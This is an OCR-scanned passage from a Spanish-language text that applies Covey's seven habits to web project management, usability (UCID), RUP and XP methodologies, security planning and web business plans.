de sistemas de software de manera que promuevan y alienten la usabilidad del

software.

Dicha metodologia puede ser el complemento ideal a las ya conocidas
metodologias de RUP y XP al proporcionar a éstas de métodos alternativos
para mejorar la satisfaccion del usuario final de cara a los productos de software

construidos.
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Los beneficios de esta metodologia son, segin Pradeep *:

» Ayuda a maximizar la facilidad de uso, productividad y satisfaccion general en

el uso del software.

* Elimina informacion repetida, informacion inutil, y datos inconsistentes en el
software.

e Se gana la preferencia de los usuarios porque ellos se ven involucrados
directamente y pueden contribuir al disefio de los elementos de informacion.

La metodologia UCID seré discutida en los capitulos siguientes.

1.12 Seguridad

La seguridad es un concepto facil de entender debido a que se aplica en
cualquier entorno del diario vivir, al igual que en sistemas humanos, consiste en
restringir el acceso a los recursos a los usuarios que tengan la debida
autorizacion para ello, repeler cualquier tipo de ataque y detectar, monitorear y
auditar el sistema con el fin de detectar vulnerabilidades que puedan ser motivo
de ataques en el futuro, la seguridad sera un tema importante en este texto a lo

largo de los capitulos.
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2. HABITOS PRIMERO Y SEGUNDO

2.1 Habito uno: sea un administrador de proyecto proactivo

El habito uno es el habito de la responsabilidad y de la libertad, promueve
la responsabilidad propia, la busqueda del propio destino y la libertad de tomar
decisiones, de manera que se pueden apreciar las situaciones desde otro punto

de vista.

2.1.1 Habito uno en administracion

Tal y como se menciono en el habito uno , la proactividad es un término
de moda, sin embargo, es utilizado muchas veces incorrectamente, hablar de
proactividad no es hablar de hiperactividad sino un concepto que libera al
individuo de sus modelos mentales sumamente enraizados y le da la capacidad

de tomar sus propias decisiones y de ser independiente y responsable.

En el lenguaje de Internet, es comun escuchar la palabra web master
cuyo significado es el de la persona o grupo encargado de mantener un sitio 0
pagina funcionando y de actualizarlo cuando sea necesario, el web master tiene
diversas funciones, pasando por disefiador grafico, analista y administrador, sin
embargo en sitios corporativos y de e-business, existe todo un equipo de

trabajo donde las funciones estan bien definidas y catalogadas.
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El primer paso para sitios web efectivos es el de aplicar la proactividad
en todo el equipo de trabajo, es el lider de proyecto el primero que debe aplicar
la proactividad, como lider del equipo debe conocer con exactitud sus funciones
y también sus limitaciones, no debe abusar del poder con sus subordinados, ni
tampoco ser autoritario, (esto se tratara posteriormente en los habitos cuatro,
cinco y seis). El lider de proyecto debe recordar en todo momento que los
paradigmas personales de cada equipo de trabajo varian entre individuos y que

debe respetar esas diferencias.

La proactividad es base en el equipo de trabajo, cada miembro del
mismo debe conocer sus funciones, responsabilidades y derechos con el fin de
que exista una comunicacion clara y los objetivos estén bien definidos. La
efectividad ira tomando forma conforme se avance con los habitos, pero cada
elemento del equipo debe estar listo para enfrentar los desafios, las criticas, los
errores de los otros e incluso la injusticia y sentimientos personales como la
envidia. Al ser proactivo un elemento del equipo de trabajo, sera independiente
de su ambiente por muy nocivo que este parezca y podra inyectar en los demas

un sentimiento de fortaleza que influira en un mejor desempefio del grupo.

Como persona proactiva debe estar listo para trabajar entre el estimulo
externo y la respuesta que debe dar en todo momento, ese espacio de tiempo

interior puede ser la diferencia en su conducta y rendimiento.

La informética es una disciplina que cambia muy rapidamente, por lo que
la resistencia al cambio es indeseable, cuando aparezcan nuevas metodologias
y tecnologias no debe cerrarse al cambio sino explorar en él nuevas alternativas
y nuevas oportunidades para realizar su trabajo de mejor manera. Es
sumamente importante el luchar contra el sentimiento reactivo de culpar a los

otros, si se comete un error debe ser reconocido y enmendado.
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Si se es lider de proyecto, se debe conocer las metodologias de
desarrollo de software, al menos conocer una metodologia con bastante detalle
y siempre estar abierto al aprendizaje de otras.

En el entorno actual de desarrollo existen 2 metodologias principales:
RUP y XP, se debe conocer al menos una de estas metodologias y que el
equipo de trabajo también las conozca y pueda aplicarlas al sistema a construir,
si el sistema es un conjunto de paginas estaticas, entonces el trabajo es
bastante simple, pudiendo ser efectuado por una persona, pero cuando un sitio
contiene una aplicacion, el trabajo es mas complejo y, dependiendo de las
necesidades de éste, el equipo de trabajo puede ser grande, como en el caso
de una aplicacion en linea de 24x7 (veinticuatro horas los siete dias de la
semana), la cual necesita de una gran planificacion, administracion y control,

asi como de planes de contingencia bien elaborados.

2.1.2 Habito uno en usabilidad

La usabilidad es un concepto que cada vez esta cobrando mas auge
entre las empresas de desarrollo de software y en aquellas empresas que se
preocupan de su inversion en tecnologia informatica. La usabilidad agrega un
valor adicional al software al permitirle al usuario minimizar su esfuerzo en su
utilizacion, a la vez que multiplica los resultados y beneficios asociados a dicho

esfuerzo.
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La usabilidad es un aspecto importante en el desarrollo de una aplicacion
en Internet ya que, contrario a la mayoria de sistemas de software, una
aplicacién en Internet no tiene manual de usuario y aunque posea ventanas de
ayuda, los usuarios raramente las utilizan, por lo que la facilidad de uso es un
aspecto critico. Entre las ventajas de la usabilidad se encuentran las siguientes,

propuestas por Bevan Nigel °

e Reduce el tiempo de desarrollo

e Menor entrenamiento, soporte y documentacion es requerido por los
usuarios. Mejora la productividad

¢ Interfases simples producen menos errores de usuario

e Mejora la competitividad

e Incrementa la expectativa del usuario en la facilidad de uso

¢ Incrementa la usabilidad de productos de la competencia

e Mejora la calidad de vida

e Reduce el estrés por lo que los usuarios estan mas satisfechos

¢ Reduce la rotacion de personal

Actualmente, son muchas empresas importantes las que han agregado a su
equipo de trabajo, expertos en usabilidad, entre ellas se encuentra IBM,
Microsoft, Apple y Hewlett Packard, los expertos de IBM aseguran que cada

dolar invertido en usabilidad, retorna entre $10 y $100 de benéeficio.

En el equipo de trabajo debe existir un experto en usabilidad, o alguien que
adquiera ese rol, el cual en sus actividades de planificacion debe incluir, segun
Pritchard ®:

e Observaciones de las tareas de usuario— Observar a los usuarios en

sus trabajos, identificando sus procedimientos y tareas tipicas y

analizando sus flujos de trabajo.
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Entrevistas, grupos de trabajo y cuestionarios — reunirse con los
usuarios para averiguar sobre sus preferencias, experiencias y
necesidades

Benchmark y analisis competitivo — evaluar la usabilidad de productos
similares en el mercado.

disefio participativo — invitar al usuario a participar en las sesiones de
disefio, lo cual permite tener la perspectiva del usuario aun en fases
tempranas de desarrollo.

Prototipos en papel — incluir la opinién del usuario y su evaluacion
temprana por medio de prototipos de interfase preparados en papel
antes que se empiecen a codificar.

Guias de creacion — ayudar a asegurar la consistencia en el disefio a

través de estandares de desarrollo y guias afines.

2.1.3 Habito uno en seguridad

La seguridad es una actividad obligatoria, contrario a lo que muchas

personas piensan, la seguridad no es un tema viejo, trillado o quemado, es mas

bien un tema candente que no deja de tener actualidad ya que conforme

cambian las tecnologias y aparecen nuevos productos, aparecen también

nuevas vulnerabilidades, virus y ataques, por lo tanto, debe existir en el equipo

de trabajo, un experto en seguridad, para garantizar que la aplicacion no sea

vulnerable a la mayoria de ataques y que presente un grado respetable de

resistencia a los embates informéaticos.

En la realidad es imposible mantener el equipo libre de todo tipo de

intrusiones, pero es responsabilidad del experto en seguridad, que el porcentaje

de vulnerabilidades tienda cada vez a ser menor.
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Es de vital importancia que el experto en seguridad mantenga sus
conocimientos sobre seguridad actualizados y conozca bien el entorno que
administra, este texto esta concentrado en la seguridad a nivel de aplicacion,
pero es altamente recomendable que el responsable de la seguridad tenga un
conocimiento integral, con el fin de que pueda intervenir en cualquier momento

ante diversas amenazas.

2.2 Habito dos: Construya el sitio web con un fin en mente

El habito dos es el encargado de guiar hacia objetivos claros, se basa en
un cambio de paradigma sobre las ideas, actitudes y costumbres enraizadas
gue toda persona u organizacién posee, las cuales generalmente son rigidas y
vulnerables. En lugar de sentimientos o costumbres, el centro de accién se rige

por valores fundamentales que sirvan de brudjula en las situaciones cotidianas.

2.2.1 Habito dos en administracién

Iniciar el sitio web con un fin en mente significa tener una vision clara de
lo que se va a conseguir. El viejo concepto en economia de qué hacer, como
hacerlo y para quién hacerlo adquiere forma en el habito dos, los detalles de
como hacerlo forma parte del proximo habito y se discutird en el préximo

capitulo.

Ver el destino final es la clave, requiere de imaginacién, guia y conviccion.
Sobre todo, la meta final debe estar basada en principios sélidos, que no
atenten en contra de la propia integridad ni la de los deméas, de no ser asi, el
éxito seria frustrado con sentimientos de culpabilidad por vulnerar el derecho de

los otros.
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El primer paso al crear un sitio web consiste en la planificacion, se debe
trazar los lineamientos necesarios para alcanzar el objetivo previsto, Para
iniciar la administracion del sitio, se debe primero pensar cual sera el objetivo
fundamental del mismo: educativo, personal, un portal de noticias, o un sitio de
e-commerce con toda su estructura, la diferencia entre cada uno de los
anteriores enfoques es clave porque permite determinar las necesidades que
estan asociadas a la consecucion de la meta provista, asi como el conjunto de

recursos que seran necesarios en el camino.

La formacién del equipo de trabajo es fundamental, labor que compete al
lider de proyecto, puede ser tan simple como una misma persona que
desemperie varios roles, o tan complejo como un equipo de trabajo de decenas
de personas para desempefar tareas especializadas, como en el caso de los

grandes portales de e-business como www.amazon.com.

Es imprescindible que el equipo de trabajo tenga clara la misién del
proyecto, esta misién debe ser una continuacion de la misién de la empresa u
organizacioén para la cual se trabaja o en el caso de que se trabaje para un
cliente independiente, se debe tomar la mision del cliente e integrarla al

proyecto.

La misién se formula por medio de un enunciado, el cual debe estar hecho
en escalas, primero personal, luego organizacional y también debe existir un
enunciado de mision de proyecto que sea la guia durante el proceso de

desarrollo del mismo.

El equipo de trabajo debe conocer y sentirse comodo con una metodologia

de analisis y disefio.
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A continuacion se mostraran las metodologias RUP y XP, aplicadas a un

proyecto Web.

2.2.2 RUP para proyectos Web

RUP ha probado ser una metodologia solida y madura para todo tipo de
proyectos, para una aplicacion en Internet, resulta una metodologia ordenada
gue provee resultados rapidamente. A continuacién se presenta una serie de
pasos para adecuar RUP hacia un entorno de Internet, segun el libro de Ward y
Kroll /

Disefio basado en casos de uso

Las aplicaciones Web extienden el desarrollo tradicional de software
uniendo el arte y el disefio creativo con el mundo de la ingenieria de software.

Estos dos mundos difieren en procesos, habilidades y cultura.

Estas diferencias pueden a menudo crear un obstaculo fuerte en
proyectos web cuando estas culturas distintas chocan. Los casos de uso (un
caso de uso es una descripcion textual que define una secuencia de acciones
gue un sistema debe efectuar y que conlleva hacia un resultado observable)
proveen una forma para expresar en términos comunes, un entendimiento
compartido de la conducta de la aplicacién web.

Los casos de uso son la lengua comun para un proyecto web, un lenguaje
gue provee a todo involucrado con el proyecto de los medios para entender lo
gue la aplicacion hara, sea un lider de proyecto, usuario, director de arte,
arquitecto o programador. Gracias a los casos de uso, podran hablar en los

términos de la solucion de negocios a ser resuelta, segun sus especificaciones.
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Figura 2. Integrando el proceso creativo con RUP
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Las aplicaciones web exitosas comienzan con una compilacion de la
mision del proyecto. La mision debe ser personalmente escrita por los clientes,

asegurando que los objetivos del proyecto sean los adecuados.
La mision sirve a varios propositos:
e Permiten definir el compromiso sobre el problema que necesita ser
resuelto

e Define los limites del sistema

e Describe las caracteristicas mas importantes del sistema
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Los usuarios se representan por actores (un actor define un set coherente
de roles que los usuarios del sistema pueden desempefar, ya sea dentro o
fuera de sistema), mientras que los servicios estan representados por medio de
los casos de uso. Documentar los requerimientos de esta forma, hace facil para
los usuarios descubrir qué servicios son necesarios y al equipo de desarrollo le

ayuda a validar los requerimientos de manera integral.

En paralelo con los casos de uso, los requerimientos no funcionales, se
capturan en la especificacidon suplementaria que se encarga de todos los
requerimientos de funcionabilidad general, usabilidad, rendimiento, seguridad,
web hosting y soporte, mientras que el set de lenguaje comun del proyecto es

capturado en el glosario.

Informe de disefo creativo

Paralelamente a la identificacion de actores y casos de uso, la interfase de
usuario inicial es desarrollada, las soluciones web efectivas requieren una
especial atencion en este aspecto, los cuales estan contenidos en el informe de

disefio creativo, el cual define:

La personalidad del sitio (ej. ¢debe el sitio proyectar autoridad,

diversion, o servicio? ¢Debe ser conservador o provocativo?)

e La manera como los usuarios acecharan al sitio (Ej. La velocidad de
conexion)

e EIl browser que usan los usuarios

e Limitaciones de color que el sitio tendra
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Mapa de navegacion

El mapa de navegacion es una vista de la solucion web que muestra como
los usuarios navegaran en el sitio, se representa por medio de un diagrama de
arbol. Este diagrama se denomina comunmente Mapa del sitio o Site Map y
generalmente incluye las partes mas importantes del sitio, lo cual es util para
saber por ejemplo, la cantidad de clic que hay que ejecutar para llegar a una
zona determinada. Es deseable que las partes importantes se encuentren a un
clic de distancia del inicio del sitio. El mapa de navegacion evoluciona del
modelo de casos de uso, por esta razon, el mapa del sitio debe ser creado

después de los modelos de caso de uso.

Crear prototipos de disefio

Esta opcidn presenta a los clientes las opciones visuales para la aplicacion

web para refinar el disefo visual del sitio.

Estos prototipos consisten en muestras de cdmo el sitio deberia verse,
generalmente son graficas planas dentro del browser para dar apariencia de
estar completas, la idea es evitar la codificacion innecesaria antes de aprobar el
disefio final, su funcién principal es proveer retroalimentacion con el usuario

acerca de las interfases de usuario final.

Elementos de disefio web

Estos elementos son imagenes discretas que se ensamblan en las
paginas para proveer mejor usabilidad del sitio y establecer la consistencia del
mismo. De esta manera el usuario puede acostumbrarse al disefio y saber
rapidamente cual opcion le transporta al area elegida. Estos elementos deben

ser disefiados en fases tempranas del desarrollo junto con las guias de su uso.
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Ejemplos de estos elementos son iconos, fondos de pantalla y links

estratégicamente colocados.

Prototipo inicial de la interfase de usuario (1.U.)

Los prototipos de disefio evolucionan hacia el prototipo de interfase de
usuario, la apariencia de la I.U. se basa en el reporte de disefio creativo y se
construye en la fase de actividades de RUP, generalmente este prototipo
soporta sélo algunas partes del sistema pero con un alto apego a los casos de

uso.

Guias avanzadas de interfase de usuario

Cuando el prototipo inicial de interfase de usuario esta terminado, se
completa agregando guias detalladas para disefiar la interfase final, esta guia
especificara entre otras cosas como y cuando se usaran los esquemas web,
como colores, fuentes, style sheets y detalles de posicionamiento de elementos

de navegacion.

Prototipo completo de interfase de usuario

Este prototipo expande el creado inicialmente con el fin de cubrir todos los
casos de uso. El prototipo debe abarcar la navegacion completa entre paginas
y los elementos visuales del sitio, puede usarse datos reales o bien datos de
prueba, el objetivo de esta fase es llegar a un acuerdo con los clientes sobre el

alcance de cada interfase de usuario y mostrar la funcionabilidad total del sitio.
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Mapa de navegacion completo

Luego de la fase anterior, el mapa de navegacion completo debe ser
elaborado, este debe estar basado en el mapa inicial y debe cubrir totalmente
todos los casos de uso planteados al inicio, debe incluir todas las paginas o

pantallas identificadas en el prototipo IU.

2.2.3 XP para proyectos web

XP puede integrarse facilmente a un entorno web, a continuacion se
presenta un resumen sobre la integracién de XP a la construccion de paginas

web segiin Wallace y otros ®

Roles en un proyecto XP

« El lider de proyecto, es el encargado de velar porque el proceso se lleve
a cabo, segun lo establecido, coordina actividades con los clientes,

remueve obstaculos para el proyecto.

e El cliente, escribe y prioriza las historias (ideas o caracteristicas de los

procesos del sistema) y escribe criterios de aceptacion.

e« El coach verifica que el proyecto se encuentre encaminado segun las

mejores practicas de XP.

« EIl programador, quien divide las historias en tareas estimadas, escribe

tests de prueba.

o El tester ayuda a escribir criterios de aceptacion al cliente y ejecuta

pruebas funcionales y sus reportes asociados.
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Roles de un proyecto web XP

Programador de interfases

Su tarea principal es construir la interfase de usuario de cada péagina, es
decir, disefiar la funcionabilidad de cada pagina, trabaja junto al disefiador
grafico para definir los elementos visuales, se encarga del cédigo de las

paginas (XSLT, JavaScript, y otros lenguajes del lado del cliente).

Disefiador grafico

Es el responsable de la apariencia visual de cada pagina, sigue los
procedimientos de disefio y prepara esquemas de las visuales de las paginas.
Trabaja junto al programador de interfases con el fin de coordinar los elementos
de funcionabilidad como CSS y DHTML.

Programador del lado del servidor

Es el encargado de programar toda la funcionabilidad de la aplicacion del
lado del servidor, trabaja junto al programador de interfases para unificar
criterios de entrada y salida. Muchas veces este rol se fusiona con el de
disefiador de interfases y es llevado a cabo por una misma persona, 0 por un

grupo de personas como ambos roles.
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Ilteraciones de dos semanas

Es recomendado para proyectos web seguir el esquema de iteraciones de
dos semanas. Esto es beneficioso porque permite trabajar en un namero de
historias en la aplicacién, sin la necesidad de incluir historias dependientes unas
de otras, cuando esto sucede es necesario finalizar las historias previas y luego

dar paso a las siguientes.

Programacién en parejas

La programacion en parejas es uno de los pilares de XP, sin embargo en
un entorno web se debe modificar con el fin de ajustar el conocimiento de cada

uno de manera productiva.

En un proyecto determinado, los autores intentaron mezclar en parejas a

los involucrados, logrando las siguientes combinaciones:

e Programadores de interfase con disefiadores gréaficos
e Clientes con testers (probadores)
e Testers con disefiadores graficos

e Clientes con todo el resto del equipo
Segun los autores, estas combinaciones produjeron resultados satisfactorios

ya que crearon sinergia en el equipo, lo que permitié refinar el liderazgo en

cada area.
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Tarjetas CRC

Las tarjetas llamadas CRC (Responsibilities and Collaboration) se utilizan
para disefiar los objetos que se estan construyendo. En las sesiones CRC se
define cada clase en una tarjeta y a continuacion los objetos derivados,

incluyendo responsabilidades y colaboracion.

Las tarjetas pueden representar contenidos de una pagina, un archivo
XML, esquema de navegacion en una pagina y el formato derivado de una hoja
de estilo. Los programadores del lado del servidor utilizan tarjetas CRC para
mostrar cOmo interactuar con DLLs, paginas JSP y ASP. Los esquemas de

base de datos son rapidamente desarrollados utilizando tarjetas CRC.

Prototipos

Los prototipos son cualquier pagina, desde una simple pagina estatica
hasta una pequefia aplicacion web, su objeto es probar una parte de la
funcionabilidad de todo el sitio. Debe recordarse que los prototipos son
desechables, se utilizan para aprender algo y no tienen otro uso, nunca se debe
usar prototipos en produccion de cédigo, se debe evitar la tentacion de

reutilizarlos en instancias finales de desarrollo.
Cambios
En el desarrollo web el cambio es inminente, los clientes cambian, la

tecnologia cambia y puede suceder que lo que se construya sea totalmente

diferente a aquello que se planificd
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Se debe tratar de mantener la vista en la actualidad y concentrarse en lo
que debe hacerse en la iteracién actual inicamente, nunca haga nada que no

haya sido solicitado, ello ahorrara tiempo y energias.

Unidades de prueba para proyectos Web

Las pruebas para proyectos web se ajustan a las pruebas hechas a
proyectos tradicionales, sin embargo, es necesario tener en cuenta las

diferencias en cuanto a browsers, lenguajes y componentes utilizados.

Multiples Browsers

El requerimiento no funcional mas importante de cualquier proyecto web es
determinar cuales browsers serdn soportados. Es importante considerar este
elemento porque entre browsers es comun encontrar diferencias en cuanto al
despliegue gréfico y caracteristicas que otros browsers no poseen, las unidades
de prueba deben ser independientes del browser, por esta razén, se debe ser

muy cuidadoso con las pruebas en dichos entornos.

2.2.4 Habito dos en usabilidad: disefio de

informacion centrado en el usuario

A continuacion se describe la metodologia UCID, la cual puede ser
adaptada a cualquier metodologia de desarrollo como RUP o XP y que permite
al equipo de desarrollo disefiar sistemas basados en el usuario como elemento
clave del sistema, ya que es €l mismo quien finalmente determinara el éxito o

fracaso del proyecto segun sea su satisfaccion con el mismo.
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El enfoque de UCID usado en este documento se basa parcialmente en el

libro de Henry Pradeep *.

Disefo tradicional de la informacion

La informacidn es vista e interpretada segun sea el rol que el involucrado
tenga; para el desarrollador, el sistema es el conjunto de formas y codigo
asociado a las mismas, lo cual da forma al sistema. EIl documentador
interpretara el sistema como el software para el cual esta realizando la
documentacion y el probador tendra un enfoque distinto de los dos anteriores.
UCID provee de un medio para integrar al enfoque de desarrollo de la
experiencia y expectativa del usuario con lo que la opinion y los requerimientos

del usuario son tomados en cuenta.

Ventajas de integrar UCID en la metodologia de desarrollo

e Se gana la preferencia de los usuarios porque ellos se ven
involucrados directamente y pueden contribuir al disefio de los
elementos de informacion.

e Ayuda a maximizar la usabilidad del software.

¢ Mejora la capacidad del equipo de manejar la informacién provista por
los usuarios y que ésta se ajuste a las necesidades y de los mismos
con un resultado positivo en las ganancias de la organizacion.

e Brinda posibles ventajas competitivas a las organizaciones que la
adoptan primero.

¢ Reduce costos resolviendo problemas de disefio en etapas tempranas
de desarrollo y evitando costosas reparaciones mas adelante.

e Mejora la comunicacion en el proyecto ya que requiere que se

almacenen y administren detalles sobre el disefio y documentacion.
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Puntos clave para implementar (UCID)

e Concentrarse tempranamente en los usuarios y sus tareas. El
objetivo es entender a los usuarios de manera cognoscitiva, conductual y
sus actitudes, las tareas que realiza el usuario, el tipo de ambiente en el

que se desenvuelve.

o Disefiar anticipadamente la interfase de usuario. La interfase de
usuario debe estar separada y preceder al disefio interno. La
implementacion interna del software se estructura para que la misma se

pueda cambiar, sin modificar el cédigo interno.

e Involucrar a los usuarios. Permite al usuario o clientes participar
activamente en el proyecto, por ejemplo permite a los usuarios ser parte

del disefio de interfases.

e Insistir en el prototipado interactivo y evaluacion. La interfase de
usuario evoluciona gracias al prototipo iterativo. El prototipo es
redisefiado. Hasta alcanzar las metas de usabilidad y ser satisfactorio

para el usuario.

2.25 Fases de desarrollo

Andlisis

Consiste en practicar actividades con el fin conocer bien las actividades
que el usuario llevara a cabo en sus labores diarias y las cuales seran
trasladadas al software. Los métodos varian desde simples entrevistas hasta

investigacion contextual en el entorno de trabajo real.
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El resultado del analisis produce un perfil de usuario que describe las

caracteristicas de los usuarios asociados al rol analizado.

Metas de usabilidad

Son metas que el software debe cumplir para ser considerado exitoso, una
meta de usabilidad puede ser por ejemplo: mejorar el tiempo de respuesta de

un formulario de facturacién a 1 segundo.

Disefio/prototipado

Un prototipo de la nueva interfase de usuario es disefiado basandose en
los conocimientos adquiridos del analisis y las metas de usabilidad, es una
actividad critica que decide la interfase final del software, puede ser un
prototipo en papel que muestre pantallas de navegacién o un modelo creado
con herramientas de programacion. El prototipo es redefinido hasta crear la

interfase final.

Implementacion

El resultado de la evaluacion de prototipos se convierte en un prototipo
aprobado. El prototipo aprobado se traslada hacia una interfase de usuario
final. Puede estar acompafado de la escritura de detalles o diagramas de

estado.
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Evaluacién

El equipo de desarrollo planea la usabilidad durante la fase de analisis. La
evaluacion es la actividad que sucede durante el disefio basado en el usuario

que se centra en dos actividades: inspeccion y pruebas de usabilidad.

Practicar inspecciones de usabilidad

Consiste en implementar los aspectos relacionados con la usabilidad de la
interfase de usuario. Los métodos son baratos y pueden ser usados en los
distintos escenarios del disefio centrado en el usuario, incluyen la posibilidad de
hacer recomendaciones para resolver los posibles problemas. Algunos métodos

comunes incluyen los siguientes:

e Evaluacién heuristica

Consiste en verificar que las partes de la interfase de usuario cumplan con los
principios universales de la usabilidad llamados heuristicos. Este es un tipo
muy usado de evaluacion y normalmente es practicado por expertos en

usabilidad.

e Recorridos

Los expertos en usabilidad, programadores y usuarios se rednen para
probar un escenario de tareas discutiendo en el camino los posibles problemas

de usabilidad encontrados.

43



2.2.6 Habito dos en seguridad

Planificar la seguridad del sitio web requiere un alto grado de proactividad,
ya que es una actividad del cuadrante dos, sin importar el tamafio o el objetivo
del sitio web, se deben tener politicas de seguridad definidas, desde una pagina
personal cuya alta en servidor pudo ser afectada por un virus, hasta un sitio de

e-business con alta disponibilidad y manejo de transacciones en linea.

En una ocasion, el autor de estas lineas pregunto a un administrador qué
hacia cuando el sistema trabajaba normalmente, “Chatear” fue la respuesta, --
me aburro si hacer nada... Este es un ejemplo de reactividad ya que las
actividades de optimizacibn de seguridad y rendimiento deben hacerse
constantemente sin descuidarlas nunca, este es el enfoque que un

administrador proactivo debe tener siempre.

Si las amenazas a la seguridad se ignoran o son subestimadas, se corre el
riesgo de caer en el cuadrante uno con problemas de urgencia y costos
altisimos, lo que en el peor de los casos puede incurrir en la pérdida de la

informacion confidencial y la quiebra de la empresa.

El nivel de seguridad deseado es una cuestibn de costo-beneficio,
normalmente la informacién de la empresa afectada es un bien demasiado
valioso para dejarlo en las manos de intrusos, por lo que el experto en
seguridad debe reunirse con el cliente para determinar las politicas de
seguridad a seguir, deben en todo momento considerarse las medidas mas
adecuadas para enfrentar las intrusiones y también las bajas del servicio, ya
gue dependiendo del tipo de negocio resultan mas convenientes unas medidas

gue otras, todo depende del entorno a administrar.
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A continuacion se presentan algunas consideraciones a tomar en el

proceso de disefio de una aplicacion web segura:

Quién se dispone ser

Significa el objetivo primario del sitio: pagina personal, portal informativo,
portal educativo, portal publicitario sitio de comercio electronico etc. Cada una
de las anteriores clases de sitios tiene diferentes necesidades, diferentes
enfoques de implementacién y distintos costos de seguridad, todo ello basado

en el esquema costo-beneficio.
Cuanto tiempo se desea estar disponible

Esto se refiere a la disponibilidad del sitio, cuando el sitio se encuentra
mas del 99% del tiempo disponible, se dice que el sitio posee alta

disponibilidad, algunas medidas de comparacion de disponibilidad son:

Tabla | Diversos grados de disponibilidad

% disp. Tiempo fuera de linea al afio

99.000% 3 dias, 15 horas, 36 minutos
99.500% 1 dia, 19 horas, 48 minutos
99.900% 8 horas, 46 minutos
99.950% 4 horas, 23 minutos
99.990% 53 minutos

99.999% 5 minutos

Fuente: Cisco °
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Mientras mas alto sea el porcentaje de disponibilidad, el tiempo en el cual
el sistema no estd disponible sera menor, pero los costos aumentaran
dramaticamente ya que este esquema de trabajo requiere de equipo costoso y

personal altamente calificado.

La alta disponibilidad es un tema fuera del alcance de este texto, se
recomienda leer la literatura adecuada en el caso de decidir la construccién de

un sistema que presente dichas caracteristicas.

Cuan importante es la informacion

Mientras mas importante sea ésta, mas valor econémico representa, por lo
tanto debe protegerse de igual manera, si proteger la informacion resulta ser
mas costoso que la informacién misma, entonces el enfoque de seguridad esta
basado en parametros erroneos, estimar este dato es importantisimo para

evitar gastos innecesarios para la organizacion.

Enunciado de mision del experto de seguridad

El experto en seguridad debe tener un enunciado de misién para su
entorno de trabajo y su eficiencia personal, dicho enunciado debe basarse en
velar por los bienes que se encuentran a su cuidado y ser honesto en todo
momento y evitar el uso inadecuado de dicha informacién. Esto por muy trivial
que parezca es sumamente necesario pues son muchas las empresas en
donde expertos en seguridad sin ética, venden secretos de sus empresas a la
competencia, o bien se dedican a perjudicar a compafieros de trabajo rivales o
por encargo de otros. Es vital que el experto de seguridad trate con igualdad a
todos los usuarios, sin importar su rango y sin dejar de respetar los roles de

seguridad del sistema, definidos en conjunto con la administracion.
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3. TERCERHABITO

El habito tres (primero lo primero) es la ejecucion practica del segundo
hébito. Consiste en administrar adecuadamente los recursos para evitar caer
en urgencias, negligencias e ineficiencia y siendo valeroso al desechar la

perdida de tiempo y recursos en asuntos sin importancia.

3.1 Habito tres en administracion

Tal y como se vio en el marco tedrico, la matriz de manejo del tiempo
propuesta por el Dr. Covey, es una herramienta util para saber en donde se
encuentra nuestra actividad en cualquier momento. Recordemos que resulta
sumamente sencillo caer en el primer cuadrante donde se encuentra la presion
de las cosas importantes y urgentes, las cuales, de ser completadas finalmente,
consumiran una cantidad extra de recursos y especialmente de tiempo, el cual
fue prestado de otra actividad, la cual, conforme fue pasando el tiempo se
convirtié a su vez en urgente. Este es el circulo vicioso en el cual se mantiene
el 90% de la gente de hoy, este cuadrante es una invitacion al estrés y un
desajuste fisico y mental del individuo quien se ve sometido a grandes

presiones.

Retomando el marco tedrico, el Dr. Covey, recuerda que el tercer habito
significa crear materialmente las ideas o propdsitos que se tienen en los dos
primeros habitos, para llevar a cabo esto se debe basar todo el tiempo en el
enunciado de misién, tanto personal como organizacional, ya que éste funciona

como una brujula que nos orienta sobre nuestros objetivos y propoésitos.
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La pregunta es: ¢como construir un sitio web haciendo uso del tercer

habito y convertir la idea que se tiene del mismo en una realidad tangible?

La respuesta aunque no es sencilla ni tampoco proviene de una receta,
se encuentra en la aplicacion del enunciado de mision personal en la creacion
del sitio web, antes de realizar ninguna labor, se debe plantear el porqué del
sitio, ya sea un entorno corporativo, de e-business o bien una pégina personal,
debe contar con un propésito primario, una motivacion fundamental que otorgue
a sus creadores del empuje de su creacion y de los retos que pueda encontrar

en el camino.

Esa motivacion puede ser un ingreso economico en un nuevo canal de
distribucion de productos y servicios, la posibilidad de proveer a los usuario de
fuentes de informacion disponibles en cualquier momento o bien la satisfaccion
de haber colaborado con la comunidad en linea en la expansion de una area de
conocimiento particular o un tema de preferencia personal. Cualquiera que sea
el objetivo del sitio, debe proporcionar valor a los usuarios para que estos lo
visiten y lo reconozcan por su utilidad, de lo contrario, no sera visitado mas que
por los usuarios casuales que desconocen de su existencia y que

probablemente lo abandonen apenas lo vean.

3.1.1 Plan de negocios web

El plan de negocios es una herramienta util y necesaria para comenzar
un proyecto o empresa, contiene las caracteristicas necesarias para conocer el
entorno de la organizacion asi como los limites, alcances, potencial, riesgos,

amenazas y oportunidades que se presentan al negocio o proyecto.
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Un sitio web debe tener un plan de negocios, ya sea porgue su propasito
es comercial o bien un plan de negocios simple, si se trata de una pagina
personal, pero ya sea un proyecto con propdésito econémico o bien de
realizacion personal, es necesario contar con la planificacion necesaria para

gue este no sea ineficiente ni fracase desde sus inicios.

Estructura béasica del plan de negocios web

Un plan de negocios para un sitio web debe incluir los elementos basicos
de todo plan de negocios en general, a continuacion se describen algunos de
esos elementos basados en la herramienta de plantacion Business plan pro

véase 1°

Sumario ejecutivo

En esta parte se hace un breve resumen del proyecto y de sus
caracteristicas principales, el propésito basico del sitio a construir, las
necesidades que suplira ya sean comerciales o de informacién y la motivacion
de su creacién, debe mencionar brevemente el tipo de producto o servicio que

el sitio web pondré a disposicion de sus clientes.

Misiédn del sitio

Como ya se mencioné en el capitulo uno, el enunciado de mision es
sumamente Util para el equipo de trabajo, ya que el sera la guia definitiva para
alcanzar las metas propuestas para el sitio. El sitio web debe llenar un vacio de
informacion y la mision es la manera de cémo el mismo cubrira dicha
necesidad, la mision debe ser bien redactada, clara y se debe tratar de evitar en

lo posible la ambigledad y términos técnicos.
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Un enunciado podria ser: la mision del portal xxx es proveer al usuario
del sistema de un medio rapido, sencillo y confiable para realizar sus
transacciones en linea en un ambiente seguro y facil de usar, con una interfase
atractiva y ayudar a la organizacion xxx a automatizar sus procesos

comerciales.
Analisis FODA

En este apartado se describen las principales fortalezas, oportunidades,
debilidades y amenazas que el proyecto afronta, mostradas en una tabla para

su mejor comprensioén, dicha tabla puede ser hecha de la siguiente manera:

Tabla Il Anéalisis FODA

Fortalezas: Oportunidades:
. o

. o

. o

Debilidades: Amenazas:

. o

. o

. o

Inclusién de puntos clave del sitio

En esta seccion se incluyen los puntos clave de los productos o servicios

